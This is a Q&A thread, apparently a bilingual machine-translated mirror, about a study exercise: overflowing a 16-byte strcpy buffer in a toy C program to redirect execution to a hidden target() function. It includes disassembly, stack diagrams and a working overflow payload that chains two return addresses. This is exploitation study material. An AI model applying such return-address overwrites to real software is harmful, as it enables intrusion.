简体   繁体   English

利用缓冲区溢出

[英]Exploit a buffer overflow

For my studies I try to create a payload so that it overflows the buffer and calls a "secret" function called "target" 为了我的学习,我尝试创建一个有效载荷,使其溢出缓冲区并调用一个名为“目标”的“秘密”函数

This is the code I use for testing on an i686 这是我用于在i686上进行测试的代码

#include "stdio.h"
#include "string.h"
void target() {
  printf("target\n");
}
void vulnerable(char* input) {
  char buffer[16];
  strcpy(buffer, input);
}
int main(int argc, char** argv) {
  if(argc == 2)
    vulnerable(argv[1]);
  else
    printf("Need an argument!");

  return 0;
}

Task 1 : Create a payload so that target() is being called. 任务1 :创建有效负载以便调用target()。 This was rather easy to do by replacing the EIP with the address of the target function. 通过将EIP替换为目标函数的地址,这很容易做到。

This is how the buffer looks 这是缓冲区的外观

Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca

Payload I used was: 我使用的有效负载是:

run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'

This works fine but stops with a segmentation fault. 这样可以正常工作,但会因分段错误而停止。

Task 2: Modify the payload in a way that it does not give a segmentation fault 任务2:以不会导致分段错误的方式修改有效负载

This is where I am stuck. 这是我被困的地方。 Obviously it causes a segmentation fault because we do not call target with the call instruction and therefore there is no valid return address. 显然它会导致分段错误,因为我们不使用调用指令调用目标,因此没有有效的返回地址。

I tried to add the return address on the stack but that did not help 我试图在堆栈上添加返回地址,但这没有帮助

run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'

Maybe someone can help me out with this. 也许有人可以帮我解决这个问题。 Probably I also have to add the saved EBP of main? 可能我还要添加保存的主要EBP?

I attach the objdump of the programm 我附上了程序的objdump

0804847d <target>:
 804847d:   55                      push   %ebp
 804847e:   89 e5                   mov    %esp,%ebp
 8048480:   83 ec 18                sub    $0x18,%esp
 8048483:   c7 04 24 70 85 04 08    movl   $0x8048570,(%esp)
 804848a:   e8 c1 fe ff ff          call   8048350 <puts@plt>
 804848f:   c9                      leave  
 8048490:   c3                      ret    

08048491 <vulnerable>:
 8048491:   55                      push   %ebp
 8048492:   89 e5                   mov    %esp,%ebp
 8048494:   83 ec 28                sub    $0x28,%esp
 8048497:   8b 45 08                mov    0x8(%ebp),%eax
 804849a:   89 44 24 04             mov    %eax,0x4(%esp)
 804849e:   8d 45 e8                lea    -0x18(%ebp),%eax
 80484a1:   89 04 24                mov    %eax,(%esp)
 80484a4:   e8 97 fe ff ff          call   8048340 <strcpy@plt>
 80484a9:   c9                      leave  
 80484aa:   c3                      ret    

080484ab <main>:
 80484ab:   55                      push   %ebp
 80484ac:   89 e5                   mov    %esp,%ebp
 80484ae:   83 e4 f0                and    $0xfffffff0,%esp
 80484b1:   83 ec 10                sub    $0x10,%esp
 80484b4:   83 7d 08 02             cmpl   $0x2,0x8(%ebp)
 80484b8:   75 12                   jne    80484cc <main+0x21>
 80484ba:   8b 45 0c                mov    0xc(%ebp),%eax
 80484bd:   83 c0 04                add    $0x4,%eax
 80484c0:   8b 00                   mov    (%eax),%eax
 80484c2:   89 04 24                mov    %eax,(%esp)
 80484c5:   e8 c7 ff ff ff          call   8048491 <vulnerable>
 80484ca:   eb 0c                   jmp    80484d8 <main+0x2d>
 80484cc:   c7 04 24 77 85 04 08    movl   $0x8048577,(%esp)
 80484d3:   e8 58 fe ff ff          call   8048330 <printf@plt>
 80484d8:   b8 00 00 00 00          mov    $0x0,%eax
 80484dd:   c9                      leave  
 80484de:   c3                      ret    
 80484df:   90                      nop

You need enough data to fill the reserved memory for the stack where 'buffer' is located, then more to overwrite the stack frame pointer, then overwrite the return address with the address of target() and then one more address within target() but not at the very beginning of the function - enter it so the old stack frame pointer is not pushed on the stack. 您需要足够的数据来填充“缓冲区”所在堆栈的保留内存,然后更多地覆盖堆栈帧指针,然后使用target()的地址覆盖返回地址,然后在target()再覆盖一个地址但是不是在函数的最开头 - 输入它,这样就不会在堆栈上推送旧的堆栈帧指针。 That will cause you to run target instead of returning properly from vulnerable() and then run target() again so you return from target() to main() and so exit without a segmentation fault. 这将导致您运行目标而不是从vulnerable()正确返回,然后再次运行target() ,以便从target()返回到main() ,因此退出时没有分段错误。

When we enter vulnerable() for the first time and are about to put data into the 'buffer' variable the stack looks like this: 当我们第一次进入vulnerability()并且即将数据放入'buffer'变量时,堆栈如下所示:

-----------
|  24-bytes of local storage - 'buffer' lives here 
-----------
|  old stack frame pointer (from main) <-- EBP points here
-----------
|  old EIP (address in main)
-----------
|  'input' argument for 'vulnerable'
-----------
|  top of stack for main
-----------
|  ... more stack here ...

So starting at the address of 'buffer' we need to put in 24-bytes of junk to get past the local storage reserved on the stack, then 4-more bytes to get past the old stack frame pointer stored on the stack, then we are at the location where the old EIP is stored. 所以从'缓冲区'的地址开始,我们需要输入24字节的垃圾来通过堆栈上保留的本地存储,然后再多4个字节来通过存储在堆栈上的旧堆栈帧指针,然后我们位于旧EIP存储的位置。 That's the instruction pointer that the CPU follows blindly. 这是CPU盲目跟随的指令指针。 We like him. 我们喜欢他。 He's going to help us crush this program. 他将帮助我们粉碎这个计划。 We overwrite the value of the old EIP in the stack which currently points to an address in main() with the start address of target() which is found via the gdb disassemble command: 我们覆盖堆栈中旧EIP的值,该堆栈当前指向main()中的地址,其中target()的起始地址是通过gdb disassemble命令找到的:

(gdb) disas target
Dump of assembler code for function target:
   0x08048424 <+0>:     push   %ebp
   0x08048425 <+1>:     mov    %esp,%ebp
   0x08048427 <+3>:     sub    $0x18,%esp
   0x0804842a <+6>:     movl   $0x8048554,(%esp)
   0x08048431 <+13>:    call   0x8048354 <puts@plt>
   0x08048436 <+18>:    leave
   0x08048437 <+19>:    ret
End of assembler dump.

The address of the target() function is 0x08048424. target()函数的地址是0x08048424。 Since the (my system at least) system is little endian we enter those values with the LSB first so x24, x84, x04, and x08. 由于(我的系统至少)系统是小端,我们首先输入LSB,然后是x24,x84,x04和x08。

But that leaves us with a problem because as vulnerable() returns it pops all the junk that we put in the stack off the stack and we are left with a stack that looks like this when we are just about to process in target() for the first time: 但是这给我们留下了一个问题,因为当漏洞()返回时,它会弹出我们放入堆栈中的堆栈中的所有垃圾,当我们即将在target()中处理时,我们会留下一个看起来像这样的堆栈第一次:

-----------
|  'input' argument for 'vulnerable'
-----------
|  top of stack for main
-----------
| ... more stack here ...

So when target() wants to return it will not find the return address on the top of its stack as expected and so will have a segmentation fault. 因此,当target()想要返回时,它将无法按预期在堆栈顶部找到返回地址,因此会出现分段错误。

So we want to force a new return value onto the top of the stack before we start processing in target(). 因此,我们希望在开始在target()中处理之前将新的返回值强制到堆栈的顶部。 But what value to choose? 但选择什么价值? We don't want to push the EBP because it contains garbage. 我们不想推动EBP,因为它包含垃圾。 Remember? 记得? We shoved garbage into it when we overwrote 'buffer'. 当我们覆盖'缓冲'时,我们把垃圾塞进去。 So instead push the target() instruction just after the 所以改为在...之后推送target()指令

push %ebp

( in this case address 0x08048425 ). (在本例中为地址0x08048425)。

This means that the stack will look like this when target() is ready to return for the first time: 这意味着当target()准备好第一次返回时,堆栈将如下所示:

-----------
|  address of mov %esp, %ebp instruction in target()
-----------
|  top of stack for main
-----------
|  ... more stack here ...

So upon return from target() the first time , the EIP will now point at the second instruction in target(), which means that the second time we process through target() it has the same stack that main() had when it processed. 所以当第一次从target()返回时,EIP现在将指向target()中的第二条指令,这意味着我们第二次处理target()时它具有与main()处理时相同的堆栈。 The top of the stack is the same top of the stack for main(). 堆栈的顶部与main()的堆栈顶部相同。 Now the stack looks like: 现在堆栈看起来像:

-----------
|  top of stack for main
-----------
|  ... more stack here ...

So when target() returns the second time it has a good stack to return with since it is using the same stack that main() used and so the program exits normally. 所以当target()第二次返回时它有一个好的堆栈返回,因为它使用的是main()使用的相同堆栈,因此程序正常退出。

So to sum it up that is 28-bytes followed by the address of the first instruction in target() followed by the address of the second instruction in target(). 因此,总结一下是28字节,后跟target()中第一条指令的地址,后跟target()中第二条指令的地址。

sys1:/usr2/home> ./buggy AAAAAAAAAABBBBBBBBBBCCCCCCCC$'\x24\x84\x04\x08'$'\x25\x84\x04\x08'
target
target
sys1:/usr2/home>

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM